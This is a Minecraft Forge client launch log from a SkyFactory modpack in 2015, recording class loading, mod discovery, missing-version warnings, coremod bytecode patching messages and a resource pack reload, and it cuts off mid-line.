minecraft:textures/gui/title/mojang.png, i: 0, j: 0, size: 256, width: 256, height: 256 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.chunk.Chunk$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.EntityTracker$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.player.InventoryPlayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: fml:textures/gui/forge.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetHandlerPlayServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetworkSystem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$10 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$11 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$12 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$13 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$14 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$15 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.RenderGlobal$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureAtlasSprite$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureManager$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Completed early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Tile Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Found 0 mods from the command line. Injecting into mod discoverer [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Searching **USERSDIR**\Instances\SkyFactory\mods for mods [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Also searching **USERSDIR**\Instances\SkyFactory\mods\1.7.10 for mods [16/5/2015 18:45:48 PM] [Client thread/WARN] [DamageIndicatorsMod]: Mod DamageIndicatorsMod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 3.2.3 [16/5/2015 18:45:53 PM] [Client thread/WARN] [ChickenChunks]: Mod ChickenChunks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.3.4.19 [16/5/2015 18:45:54 PM] [Client thread/WARN] [DragonMounts]: Mod DragonMounts is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version r41-1.7.10 [16/5/2015 18:45:55 PM] [Client thread/WARN] [EnderStorage]: Mod EnderStorage is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.7.32 [16/5/2015 18:45:57 PM] [Client thread/WARN] [ExtraUtilities]: Mod ExtraUtilities is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.2.4a [16/5/2015 18:45:58 PM] [Client thread/WARN] [ForbiddenMagic]: Mod ForbiddenMagic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.7.10-0.562 [16/5/2015 18:46:01 PM] [Client thread/WARN] [neiintegration]: Mod neiintegration is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.0.8 [16/5/2015 18:46:04 PM] [Client thread/WARN] [simplyjetpacks]: Mod simplyjetpacks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1 [16/5/2015 18:46:08 PM] [Client thread/WARN] [Translocator]: Mod Translocator is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.1.14 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Core]: Mod WR-CBE|Core is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Addons]: Mod WR-CBE|Addons is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:12 PM] [Client thread/WARN] [WR-CBE|Logic]: Mod WR-CBE|Logic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:13 PM] [Client thread/WARN] [ForgeMicroblock]: Mod ForgeMicroblock is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [ForgeMultipart]: Mod ForgeMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [McMultipart]: Mod McMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Forge Mod Loader has identified 140 mods to load [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [exastris] containing declared API package cofh.api.energy (owned by CoFHAPI) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [ExtraUtilities] containing declared API package baubles.api (owned by Baubles) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [FoodPlus] containing declared API package thaumcraft.api (owned by Thaumcraft) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [EnderIO] containing declared API package com.cricketcraft.chisel.api (owned by Chisel) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [simplyjetpacks] containing declared API package cofh.api (owned by CoFHLib) without associated API reference [16/5/2015 18:46:18 PM] [Client thread/INFO] [FML]: FML has found a non-mod file CodeChickenLib-1.7.10-1.1.3.134-universal.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at CLIENT [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at SERVER [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.network.FMLOutboundHandler with checksum CB55471D614BD5AF06AEA87A77A3014F [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Successful injection in write (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/channel/ChannelPromise;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.eventhandler.ASMEventHandler with checksum 1C68592318817E7EE853EC874A5ACBF4 [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in <init> (Ljava/lang/Object;Ljava/lang/reflect/Method;Lcpw/mods/fml/common/ModContainer;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [STDOUT]: [mods.immibis.core.ImmibisCore:initPreferredEnergySystem:198]: [Immibis Core] Preferred energy system set to: redstoneFlux [16/5/2015 18:46:33 PM] [Client thread/INFO] [Draconic Evolution]: Hello Minecraft!!! [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:36 PM] [Client thread/INFO] [TConstruct]: Natura, what are we going to do tomorrow night? [16/5/2015 18:46:36 PM] [Client thread/INFO] [Natura]: TConstruct, we're going to take over the world! [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Starting on net.minecraft.client.model.ModelBiped [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Method is func_78087_a or a for obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Descriptor is (FFFFFFLnet/minecraft/entity/Entity;)V or (FFFFFFLsa;)V dor obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Found method: a (FFFFFFLsa;)V [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] RETURN Opcode found [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Patched! [16/5/2015 18:46:41 PM] GregsLighting: creativeTab = gcewing.lighting.GregsLighting$1@1804f6e [16/5/2015 18:46:44 PM] [Client thread/INFO] [OpenMods]: openperipheral.ApiProvider.installApi(ApiProvider.java:203): OPC API v. 3.2 provideded by OpenPeripheralCore, (ApiAccess source: jar:file:/C:/Users/cr7/Desktop/New%20folder/Instances/SkyFactory/mods/OpenPeripheralCore-1.7.10-1.1.jar!/openperipheral/api/ApiAccess.class) [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming Class [net.minecraft.world.WorldType], Method [func_76564_j] [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming net.minecraft.world.WorldType Finished. [16/5/2015 18:46:50 PM] [Client thread/ERROR] [MooFluids]: The mod MooFluids is expecting signature @FINGERPRINT@ for source MooFluids-1.7.10-1.5.01.19a.jar, however there is no signature matching that description [16/5/2015 18:46:50 PM] [Client thread/ERROR] [Moo Fluids]: No fingerprint found! [16/5/2015 18:46:50 PM] [Client thread/INFO]: Reloading ResourceManager: Default, FMLFileResourcePack:Forge Mod Loader, FMLFileResourcePack:Minecraft Forge, FMLFileResourcePack:Not Enough Items, FMLFileResourcePack:Lucky Block, FMLFileResourcePack:Furnace 3D, FMLFileResourcePack:ArmorStatusHUD, FMLFileResourcePack:Damage Indicators, FMLFileResourcePack:StartingInventory, FMLFileResourcePack:Applied Energistics 2, FMLFileResourcePack:AutoFood, FMLFileResourcePack:Automagy, FMLFileResourcePack:AutoPackager, FMLFileResourcePack:BiblioCraft, FMLFileResourcePack:BiblioWoods Natura Edition, FMLFileResourcePack:Big Reactors, FMLFileResourcePack:Botania, FMLFileResourcePack:Carpenter's Blocks, FMLFileResourcePack:ChickenChunks, FMLFileResourcePack:Chisel 2, FMLFileResourcePack:CoFH Core, FMLFileResourcePack:ComputerCraft, FMLFileResourcePack:Cosmetic Armor, FMLFileResourcePack:Decocraft, FMLFileResourcePack:Draconic Evolution, FMLFileResourcePack:Dragon Mounts, FMLFileResourcePack:Dual Hotbar, FMLFileResourcePack:Emotes, FMLFileResourcePack:Ender IO, FMLFileResourcePack:EnderStorage, FMLFileResourcePack:EnderTech, FMLFileResourcePack:Ender Utilities, FMLFileResourcePack:Ex Astris, FMLFileResourcePack:Ex Nihilo, FMLFileResourcePack:ExtraCells, FMLFileResourcePack:ExtraTiC, FMLFileResourcePack:Extra Utilities, FMLFileResourcePack:Food Plus, FMLFileResourcePack:Forbidden Magic, FMLFileResourcePack:FoxLib, FMLFileResourcePack:Greg's Lighting, FMLFileResourcePack:Hats, FMLFileResourcePack:HatStand, FMLFileResourcePack:Headcrumbs, FMLFileResourcePack:iChunUtil, FMLFileResourcePack:Iguana Tinker Tweaks, FMLFileResourcePack:Immibis Core, FMLFileResourcePack:Inventory Tweaks, FMLFileResourcePack:Iron Chest, FMLFileResourcePack:It's Raining Food, FMLFileResourcePack:JABBA, FMLFileResourcePack:Liquid XP, FMLFileResourcePack:Loot Bags, FMLFileResourcePack:LunatriusCore, FMLFileResourcePack:Magical Crops, FMLFileResourcePack:Mantle, FMLFileResourcePack:MinefactoryReloaded & MagicalCrops extra compatibility, FMLFileResourcePack:MineFactory Reloaded, FMLFileResourcePack:MFR Compat: Applied Energistics, FMLFileResourcePack:MFR Compat: Atum, FMLFileResourcePack:MFR Compat: BackTools, FMLFileResourcePack:MFR Compat: BuildCraft, FMLFileResourcePack:MFR Compat: Chococraft, FMLFileResourcePack:MFR Compat: ExtraBiomes, FMLFileResourcePack:MFR Compat: Forestry, FMLFileResourcePack:MFR Compat: ForgeMicroblock, FMLFileResourcePack:MFR Compat: IC2, FMLFileResourcePack:MFR Compat: Mystcraft, FMLFileResourcePack:MFR Compat ProjectRed, FMLFileResourcePack:MFR Compat: Railcraft, FMLFileResourcePack:MFR Compat: Sufficient Biomes, FMLFileResourcePack:MFR Compat: Thaumcraft, FMLFileResourcePack:MFR Compat: Thermal Expansion, FMLFileResourcePack:MFR Compat: Tinkers' Construct, FMLFileResourcePack:MFR Compat: TwilightForest, FMLFileResourcePack:MFR Compat: Vanilla, FMLFileResourcePack:Moo Fluids, FMLFileResourcePack:MorePlayerModels, FMLFileResourcePack:Morpheus, FMLFileResourcePack:Natura, FMLFileResourcePack:NEI Addons, FMLFileResourcePack:NEI Addons: Botany, FMLFileResourcePack:NEI Addons: Forestry, FMLFileResourcePack:NEI Addons: Crafting Tables, FMLFileResourcePack:NEI Addons: Ex Nihilo, FMLFileResourcePack:NEI Integration, FMLFileResourcePack:OpenBlocks, FMLFileResourcePack:OpenMods, FMLFileResourcePack:OpenPeripheralAddons, FMLFileResourcePack:OpenPeripheralCore, FMLFileResourcePack:OpenPeripheralIntegration, FMLFileResourcePack:Plugin Messages Mod, FMLFileResourcePack:Ranchable Fluid Cows, FMLFileResourcePack:RedLogic, FMLFileResourcePack:Redstone Arsenal, FMLFileResourcePack:Reliquary, FMLFileResourcePack:RFTools, FMLFileResourcePack:Simple Achievements, FMLFileResourcePack:Simply Jetpacks, FMLFileResourcePack:Slabcraft, FMLFileResourcePack:Solar Flux, FMLFileResourcePack:Staircraft, FMLFileResourcePack:Sync, FMLFileResourcePack:Tabula Rasa, FMLFileResourcePack:Tails, FMLFileResourcePack:Tinkers' Construct, FMLFileResourcePack:Thaumcraft, FMLFileResourcePack:Thaumcraft NEI Plugin, FMLFileResourcePack:Thaumic Energistics, FMLFileResourcePack:Thermal Casting, FMLFileResourcePack:Thermal Dynamics, FMLFileResourcePack:Thermal Expansion, FMLFileResourcePack:Thermal Foundation, FMLFileResourcePack:Translocator, FMLFileResourcePack:Tree Growing Simulator 2014, FMLFileResourcePack:ttCore, FMLFileResourcePack:Utility Mobs, FMLFileResourcePack:Vein Miner, FMLFileResourcePack:Mod Support, FMLFileResourcePack:Waila, FMLFileResourcePack:Waila Harvestability, FMLFileResourcePack:Waila NBT, FMLFileResourcePack:What Are We Looking At, FMLFileResourcePack:Witchery, FMLFileResourcePack:WR-CBE Core, FMLFileResourcePack:WR-CBE Addons, FMLFileResourcePack:WR-CBE Logic, FMLFileResourcePack:YUNoMakeGoodMap, FMLFileResourcePack:bspkrsCore, FMLFileResourcePack:Baubles, FMLFileResourcePack:Forge Microblocks, FMLFileResourcePack:Forge Multipart, FMLFileResourcePack:Minecraft Multipart Plugin, FMLFileResourcePack:libsandstone [16/5/2015 18:46:51 PM] [Client thread/INFO] [FML]: Processing ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Found 434 ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Configured a dormant chunk cache size of 0 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.entity.RenderManager [ bnn ] with checksum 23331C7A7033A1CF1F1AAE38FD89A9B5 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher [ bmk ] with checksum 1B9F2A44C89A8C0C359AD4D34A73DA8D [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:47:00 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( started ) [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145839_a(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145841_b(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/tile/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/IC2 [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface Reika.RotaryCraft.API.Power.ShaftPowerReceiver from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Method Tick_RotaryCraft from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/RotaryCraft [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/tile/powersink/RedstoneFlux because RF integration is enabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface mekanism.api.energy.IStrictEnergyAcceptor from appeng/tile/powersink/MekJoules because Mekanism integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/MekJoules [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface powercrystals.minefactoryreloaded.api.rednet.connectivity.IRedNetConnection from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Method getConnectionType from appeng/block/networking/BlockCableBus because MFR 